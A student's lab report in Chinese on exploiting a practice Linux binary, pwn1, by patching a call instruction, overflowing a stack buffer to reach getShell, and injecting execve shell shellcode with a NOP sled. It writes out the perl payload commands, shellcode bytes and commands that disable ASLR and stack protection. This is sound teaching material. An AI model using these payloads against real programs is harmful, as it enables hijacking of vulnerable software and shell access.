20165230田坤烨《网络对抗》Exp1 PC平台逆向破解

实践目标

• 本次实践的对象是一个名为pwn1的linux可执行文件。
• 该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。
• 该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

一、基础知识学习

1、掌握NOP、JNE、JE、JMP、CMP汇编指令的机器码

• NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）
• JNE：条件转移指令，如果不相等则跳转。（机器码：75）
• JE：条件转移指令，如果相等则跳转。（机器码：74）
• JMP：无条件转移指令。段内直接短转Jmp
• short（机器码：EB） 段内直接近转移Jmp
• near（机器码：E9） 段内间接转移 Jmp
• word（机器码：FF） 段间直接(远)转移Jmp
• far（机器码：EA）
• CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2、gdb的常用命令

3、管道的概念

• 管道是一种最基本的IPC机制，作用于有血缘关系的进程之间，完成数据传递。调用pipe系统函数即可创建一个管道。有如下特质：
• 其本质是一个伪文件(实为内核缓冲区)
• 由两个文件描述符引用，一个表示读端，一个表示写端。
• 规定数据从管道的写端流入管道，从读端流出。
• 管道的原理: 管道实为内核使用环形队列机制，借助内核缓冲区(4k)实现。
• 管道的局限性：
• ① 数据自己读不能自己写。
• ② 数据一旦被读走，便不在管道中存在，不可反复读取。
• ③ 由于管道采用半双工通信方式。因此，数据只能在一个方向上流动。
• ④ 只能在有公共祖先的进程间使用管道。
• 常见的通信方式有，单工通信、半双工通信、全双工通信。
• 实验中用到的cut命令，将一行内的数据进行分解
  cut -d '分隔符' -f fields
  1. -c 字符范围
  2. -f 取出第几段的意思 ，从1开始

二、实验内容

（一）直接修改程序机器指令，改变程序执行流程

思路

• 找到getShell函数的位置
• 修改main函数中，call指令的参数，使得程序调用getShell函数

步骤

1. 进入共享文件目录/mnt/hgfs/share中，下载目标文件pwn1,输入objdump -d pwn1反汇编得到下图代码

1. 计算出需要修改的地址。计算方法：e8这条指令会使CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。80484ba +d7ffffff= 80484ba-0x29正好是8048491。因此想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。直接 47d-4ba就能得到补码，是c3ffffff。
2. 编辑pwn1文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff
   

以下操作是在vi内
1. 按ESC键
2. 输入如下，将显示模式切换为16进制模式
:%!xxd
3. 查找要修改的内容
/e8d7

4. 找到后前后的内容和反汇编的对比下，确认是地方是正确的
5. 修改d7为c3
6. 转换16进制为原格式
:%!xxd -r
7. 存盘退出vi
:wq

1. ./pwn1运行改后的代码，会得到shell提示符：
   

（二）通过构造输入参数，造成BOF攻击，改变程序执行流

思路

1. 反汇编，了解漏洞以及程序的基本功能
2. 确认输入字符串哪几个字符会覆盖到返回地址
3. 确认用什么值来覆盖返回地址
4. 构造输入字符串

反汇编，了解漏洞以及程序的基本功能

• 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞，即foo函数中的gets函数，由于该函数不会检查用户输入的长度，通过“栈溢出”覆盖栈中保存的RET地址，可以改变程序的执行流。
• 函数foo中的mov(804849a)读入字符串，但系统只预留了32字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址

• 函数main中的call调用函数foo，同时在堆栈上压上返回地址值:80484ae

  确认输入字符串哪几个字符会覆盖到返回地址

• 如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输入给pwn1，pwn1就会运行getShell

确认用什么值来覆盖返回地址

• getShell的内存地址，通过反汇编时可以看到，即0804847d
  接下来要确认下字节序，由于是小端机器，因此应输入 11111111222222223333333344444444\x7d\x84\x04\x08

构造输入字符串

• 由于没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以需要使用prel方法先生成包括这样字符串的一个文件，将getshell的内存地址写入输入字符串中，\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

• 可以使用16进制查看指令xxd查看input文件的内容是否如预期。
  

• 将input的输入，通过管道符“|”，作为pwn1的输入。

(cat input; cat) | ./pwn1

（三）注入Shellcode并执行

准备一段Shellcode

• shellcode就是一段机器指令（code）
• 通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
• 在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。
• 以下实践即使用该文章中生成的shellcode。如下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

准备工作

1. 关闭堆栈保护（gcc -fno-stack-protector）
2. 关闭堆栈执行保护(execstack -s)
3. 关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
4. 在x32环境下
5. 在Linux实践环境

apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 

构造要注入的payload

Linux下有两种基本构造攻击buf的方法： 1.retaddr+nop+shellcode 2.
nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面。
简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
我们这个buf够放这个shellcode了
结构为：nops+shellcode+retaddr。
nop一为是了填充，二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。

• 使用命令注入，其中前面32个A用来填满缓冲区buf，\x04\x03\x02\x01为预留的返回地址retaddr：

perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒：最后一个字符千万不能是\x0a。不然下面的操作就做不了了。

1. 确定\x4\x3\x2\x1到底该填什么。

• 打开一个终端注入这段攻击buf：

(cat input_shellcode;cat) | ./pwn20165230

• 再开另外一个终端，用gdb来调试pwn20165230这个进程。
  • 用ps -ef | grep pwn20165230命令找到pwn20165230的进程号是：34424：

• 用gdb pwn20165230、attach命令启动gdb调试这个进程：

• 用disassemble foo命令反汇编，通过设置断点，来查看注入buf的内存地址：

• 通过break *0x080484ae命令设置断点，输入c命令(continue)继续运行
• 在另外一个终端中按下回车使上一调试过程继续执行。再返回调试终端，使用info r esp命令查找地址：

• 用x/16x 0xffffd28c命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址应为0xffffd290：

1. 接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可，用命令

perl -e 'print "A" x 32;print "\x90\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

实验中遇到的问题及解决过程

不能得到正确结果

• 解决：第二个实践中按照步骤运行下来不能得看到0x01020304正确的结果，于是重新copy了pwn文件到共享文件夹中，并重命名为pwn20165230，即可得到正确结果

提示未能启动虚拟机

• 解决：参照了博客Vmware无法获取快照信息 锁定文件失败

1. 打开你存放虚拟机系统文件的文件夹，注意，是系统文件，不是虚拟机的安装目录，也就是你建立虚拟机的时候下图设置的位置
2. 然后搜索以*.lck为关键字这个文件夹
3. 删除找到的所有*.lck临时文件，再次启用就ok了